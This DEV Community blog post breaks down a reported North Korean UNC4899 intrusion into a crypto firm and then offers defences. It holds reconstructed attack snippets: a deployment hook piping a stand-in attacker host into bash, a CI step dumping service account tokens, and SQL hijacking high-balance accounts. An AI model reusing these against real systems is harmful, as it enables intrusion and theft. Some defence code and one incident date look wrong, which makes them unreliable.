DEV Community

ohmygod
ohmygod

Posted on

From AirDrop to Cloud Heist: How North Korea's UNC4899 Stole Millions From a Crypto Firm Through a Single Developer's Mistake

From AirDrop to Cloud Heist: How North Korea's UNC4899 Stole Millions From a Crypto Firm Through a Single Developer's Mistake

A detailed technical breakdown of one of the most sophisticated state-sponsored crypto thefts of 2025-2026 — and the defense patterns every crypto organization needs.


The Kill Chain Nobody Saw Coming

In March 2026, Google Cloud published their H1 2026 Cloud Threat Horizons Report detailing a devastating attack against a cryptocurrency firm. The attacker wasn't a lone hacker exploiting a smart contract bug. It was UNC4899 — a North Korean state-sponsored threat group (also tracked as Jade Sleet, TraderTraitor, Slow Pisces) — and they turned a single developer's mistake into a multi-million-dollar cryptocurrency theft.

The attack didn't start with a zero-day exploit or a phishing email. It started with AirDrop.

Phase 1: Social Engineering → Developer Compromise

The attack chain began with a classic approach: social engineering a developer through a fake open-source collaboration opportunity.

Attack Timeline - Phase 1:
┌─────────────────────────────────────────────────┐
│  1. Attacker contacts developer (social eng.)   │
│  2. Developer downloads archive (personal device)│
│  3. AirDrop → corporate workstation              │
│  4. IDE opens archive → executes Python payload  │
│  5. Binary masquerades as `kubectl`              │
│  6. Backdoor connects to C2 server              │
└─────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

The developer transferred the malicious archive from their personal device to their corporate workstation via Apple AirDrop — bypassing every corporate security control in one tap. Their AI-assisted IDE then interacted with the archive contents, eventually executing embedded Python code that spawned a binary disguised as a Kubernetes CLI tool (kubectl).

Why This Matters for Crypto Orgs

Most crypto companies operate with startup culture: developers use personal devices, install whatever they want, and move files freely between devices. This is the exact attack surface UNC4899 exploited.

# What the malicious Python likely looked like (reconstructed pattern)
import subprocess
import os
import platform
import tempfile

# Stage 1: Drop the fake kubectl binary
PAYLOAD_NAME = "kubectl" if platform.system() != "Windows" else "kubectl.exe"
payload_path = os.path.join(tempfile.gettempdir(), PAYLOAD_NAME)

# Embedded base64-encoded binary (truncated for illustration)
# In reality: downloads from attacker-controlled CDN
def stage_payload():
    # Masquerade as legitimate Kubernetes tool
    # Actually: C2 backdoor with credential harvesting
    subprocess.Popen(
        [payload_path, "--config", "cluster.yaml"],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        start_new_session=True  # Detach from parent process
    )
Enter fullscreen mode Exit fullscreen mode

Phase 2: Cloud Pivot — Living Off the Cloud

Once on the corporate machine, UNC4899 used authenticated sessions and available credentials to pivot into Google Cloud. This is where the attack became truly sophisticated.

Step 1: Reconnaissance

# What the attacker likely ran (reconstructed from Google's report)
# List all GCP projects
gcloud projects list

# Enumerate Kubernetes clusters
gcloud container clusters list --project TARGET_PROJECT

# Get credentials for the cluster
gcloud container clusters get-credentials CLUSTER_NAME \
  --zone ZONE --project TARGET_PROJECT

# List all pods across namespaces
kubectl get pods --all-namespaces
Enter fullscreen mode Exit fullscreen mode

Step 2: Bastion Host MFA Bypass

The attackers found a bastion host and modified its MFA policy attribute to bypass multi-factor authentication. This gave them direct access to the Kubernetes environment.

# Bastion host IAP (Identity-Aware Proxy) policy modification
# The attacker weakened MFA requirements:
accessPolicies:
  - title: "bastion-access"
    accessLevels:
      - basic:
          conditions:
            - # MFA requirement REMOVED by attacker
              # Original: requireMfa: true
              devicePolicy:
                requireScreenlock: false
Enter fullscreen mode Exit fullscreen mode

Step 3: Kubernetes Persistence via Deployment Injection

UNC4899 modified Kubernetes deployment configurations to execute a backdoor automatically when new pods were created — a textbook Living off the Cloud (LotC) technique:

# Modified Kubernetes deployment (persistence mechanism)
apiVersion: apps/v1
kind: Deployment
metadata:
  name: legitimate-service
spec:
  template:
    spec:
      containers:
      - name: app
        image: company-registry/legitimate-app:v2.1
        # INJECTED by attacker:
        lifecycle:
          postStart:
            exec:
              command:
              - /bin/sh
              - -c
              - |
                curl -s https://attacker-cdn[.]com/b | bash &
Enter fullscreen mode Exit fullscreen mode

Step 4: CI/CD Token Harvesting

This is where it gets devastating. The attackers modified CI/CD pipeline resources to leak service account tokens into logs:

# Modified CI/CD pipeline step (token exfiltration)
steps:
  - name: "build"
    script: |
      echo "Building..."
      # INJECTED: dump service account token to logs
      cat /var/run/secrets/kubernetes.io/serviceaccount/token
      # Attacker monitors logs for this output
Enter fullscreen mode Exit fullscreen mode

With a high-privileged CI/CD service account token, they escalated privileges, performed lateral movement, and eventually reached a privileged pod handling network policies.

Step 5: Container Escape → Database Compromise

From the privileged pod, UNC4899 escaped the container and deployed another backdoor. Then came the final target: a workload managing customer wallet information.

# Credential extraction from pod environment variables
# (This is what the attacker found — stored INSECURELY)
import os

# These should NEVER be in environment variables
DB_HOST = os.environ.get('CLOUD_SQL_HOST')  
DB_USER = os.environ.get('DB_USERNAME')      # "prod_admin"
DB_PASS = os.environ.get('DB_PASSWORD')      # Plaintext password
DB_NAME = os.environ.get('DB_NAME')          # "wallets_prod"

# Attacker used Cloud SQL Auth Proxy to connect:
# cloud-sql-proxy --credentials-file=/stolen/creds.json PROJECT:REGION:INSTANCE
Enter fullscreen mode Exit fullscreen mode

Step 6: The Theft

With database access, the attackers executed SQL commands to reset passwords and MFA seeds for high-value accounts, then withdrew millions in cryptocurrency:

-- Account takeover via direct database manipulation
-- (Reconstructed from Google's description)

-- Reset password for high-value account
UPDATE users 
SET password_hash = '$2b$12$ATTACKER_CONTROLLED_HASH',
    mfa_seed = 'ATTACKER_CONTROLLED_TOTP_SEED',
    mfa_enabled = true,
    updated_at = NOW()
WHERE account_id IN (
    SELECT account_id FROM wallets 
    WHERE balance_usd > 1000000
    ORDER BY balance_usd DESC
    LIMIT 10
);

-- The attacker now controls these accounts' login AND 2FA
Enter fullscreen mode Exit fullscreen mode

The Defense Playbook: 6 Layers Every Crypto Org Needs

Layer 1: Device Isolation (Kill the AirDrop Vector)

#!/bin/bash
# macOS: Disable AirDrop on corporate devices via MDM
# Add to device management profile

# Disable AirDrop completely
defaults write com.apple.sharingd DiscoverableMode -string "Off"

# Block Bluetooth file transfers
sudo defaults write /Library/Preferences/com.apple.Bluetooth \
  BluetoothAutoSeekKeyboard -bool false

# Verify
echo "AirDrop status:"
defaults read com.apple.sharingd DiscoverableMode
Enter fullscreen mode Exit fullscreen mode

Policy requirements:

  • No P2P file transfer (AirDrop, Bluetooth, USB) on corporate devices
  • Separate personal and corporate device usage completely
  • Use managed file transfer (approved cloud storage only)

Layer 2: Kubernetes Runtime Security

# Pod Security Standards - Restrict privileged containers
apiVersion: policy/v1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  allowPrivilegeEscalation: false
  requiredDropCapabilities:
    - ALL
  runAsUser:
    rule: MustRunAsNonRoot
  volumes:
    - 'configMap'
    - 'emptyDir'
    - 'projected'
    - 'secret'
    - 'downwardAPI'
    - 'persistentVolumeClaim'
  hostNetwork: false
  hostIPC: false
  hostPID: false
---
# Falco rule to detect token access in CI/CD
- rule: Service Account Token Read in CI Pipeline
  desc: Detect when a CI/CD process reads service account tokens
  condition: >
    open_read and
    fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token" and
    container.image.repository contains "ci-runner"
  output: >
    CI pipeline reading service account token
    (user=%user.name command=%proc.cmdline container=%container.name)
  priority: CRITICAL
Enter fullscreen mode Exit fullscreen mode

Layer 3: Secrets Management (Never Environment Variables)

# ❌ WRONG: Secrets in environment variables (what the victim did)
DB_PASSWORD = os.environ.get('DB_PASSWORD')

# ✅ RIGHT: Use a secrets manager with short-lived credentials
from google.cloud import secretmanager

def get_db_credentials():
    """Fetch credentials from Secret Manager with audit logging."""
    client = secretmanager.SecretManagerServiceClient()

    # Access the secret version
    name = f"projects/PROJECT_ID/secrets/db-credentials/versions/latest"
    response = client.access_secret_version(request={"name": name})

    # Parse and return (short-lived, rotated automatically)
    import json
    return json.loads(response.payload.data.decode("UTF-8"))

# Even better: Use Workload Identity + Cloud SQL IAM authentication
# No passwords at all — identity-based access
Enter fullscreen mode Exit fullscreen mode

Layer 4: CI/CD Pipeline Integrity

# GitHub Actions / Cloud Build: Prevent token exfiltration
# Use OIDC-based authentication instead of long-lived tokens

# Workload Identity Federation (no static credentials)
steps:
  - id: 'auth'
    uses: 'google-github-actions/auth@v2'
    with:
      workload_identity_provider: 'projects/PROJECT/locations/global/workloadIdentityPools/POOL/providers/PROVIDER'
      service_account: 'ci-sa@PROJECT.iam.gserviceaccount.com'
      # No exported credentials — federated identity only

  # Log monitoring for token leakage
  - id: 'scan-logs'
    run: |
      # Fail build if any secrets appear in logs
      if grep -rn "eyJ" /tmp/build-logs/ 2>/dev/null; then
        echo "ALERT: Possible token leakage detected in build logs!"
        exit 1
      fi
Enter fullscreen mode Exit fullscreen mode

Layer 5: Database Access Controls (Defense in Depth)

-- Prevent bulk account modification even with DB access
-- Use row-level security and audit logging

-- Trigger: Alert on suspicious bulk modifications
CREATE OR REPLACE FUNCTION audit_user_modification()
RETURNS TRIGGER AS $$
BEGIN
    -- Log every modification to audit table
    INSERT INTO security_audit_log (
        table_name, operation, old_data, new_data,
        modified_by, modified_at, source_ip
    ) VALUES (
        TG_TABLE_NAME, TG_OP, 
        row_to_json(OLD), row_to_json(NEW),
        current_user, NOW(), inet_client_addr()
    );

    -- Alert if password or MFA changed
    IF OLD.password_hash != NEW.password_hash 
       OR OLD.mfa_seed != NEW.mfa_seed THEN
        -- Send real-time alert
        PERFORM pg_notify('security_alerts', json_build_object(
            'event', 'credential_change',
            'account_id', NEW.account_id,
            'source_ip', inet_client_addr(),
            'timestamp', NOW()
        )::text);
    END IF;

    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER user_mod_audit
    BEFORE UPDATE ON users
    FOR EACH ROW
    EXECUTE FUNCTION audit_user_modification();
Enter fullscreen mode Exit fullscreen mode

Layer 6: Withdrawal Circuit Breakers

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title WithdrawalGuard — Rate-limited withdrawals with anomaly detection
contract WithdrawalGuard {
    struct WithdrawalWindow {
        uint256 amount;
        uint256 windowStart;
    }

    mapping(address => WithdrawalWindow) public windows;

    uint256 public constant WINDOW_DURATION = 1 hours;
    uint256 public constant MAX_PER_WINDOW = 100_000e18; // $100K per hour
    uint256 public constant COOLDOWN_THRESHOLD = 500_000e18; // $500K triggers cooldown

    uint256 public globalWithdrawnToday;
    uint256 public dayStart;
    bool public emergencyPause;

    event WithdrawalFlagged(address indexed account, uint256 amount, string reason);
    event EmergencyPauseTriggered(uint256 totalWithdrawn);

    modifier notPaused() {
        require(!emergencyPause, "Withdrawals paused — anomaly detected");
        _;
    }

    function processWithdrawal(address account, uint256 amount) 
        external 
        notPaused 
        returns (bool) 
    {
        // Reset daily counter
        if (block.timestamp > dayStart + 1 days) {
            globalWithdrawnToday = 0;
            dayStart = block.timestamp;
        }

        // Per-account rate limit
        WithdrawalWindow storage w = windows[account];
        if (block.timestamp > w.windowStart + WINDOW_DURATION) {
            w.amount = 0;
            w.windowStart = block.timestamp;
        }

        require(
            w.amount + amount <= MAX_PER_WINDOW, 
            "Rate limit: max $100K per hour"
        );

        // Global circuit breaker
        globalWithdrawnToday += amount;
        if (globalWithdrawnToday > COOLDOWN_THRESHOLD) {
            emergencyPause = true;
            emit EmergencyPauseTriggered(globalWithdrawnToday);
            return false;
        }

        w.amount += amount;
        return true;
    }
}
Enter fullscreen mode Exit fullscreen mode

The UNC4899 Audit Checklist

Before your next security review, verify these controls:

# Control Check
1 Device isolation P2P transfers (AirDrop/Bluetooth) disabled on corporate devices?
2 Container security All pods running as non-root, no privileged mode?
3 Secrets management Zero secrets in environment variables or pod specs?
4 CI/CD integrity Pipeline outputs scanned for token/credential leakage?
5 MFA enforcement MFA policies immutable (require approval to change)?
6 Database guards Audit triggers on credential/MFA modifications?
7 Withdrawal limits Rate limiting + global circuit breakers on crypto withdrawals?
8 Deployment integrity Admission controllers block unauthorized image/config changes?
9 Identity federation Using OIDC/Workload Identity instead of static credentials?
10 Lateral movement detection Alerts on unusual pod-to-pod or pod-to-database traffic?

The Bigger Picture

UNC4899's attack wasn't technically novel — every individual step (social engineering, credential theft, container escape, database manipulation) is well-documented. What made it devastating was the chain: each weak link connected to the next, and no single defense stopped the progression.

This is the same pattern we see in DeFi protocol hacks. The Bybit $1.5B theft (February 2026) likely followed a similar developer-compromise → infrastructure-pivot pattern. The Step Finance $40M collapse started with executive device compromise.

The lesson: crypto organizations need to defend like nation-states are attacking them — because they are.


DreamWork Security publishes weekly DeFi security research. Follow for vulnerability analyses, audit tool comparisons, and defense playbooks.

Top comments (0)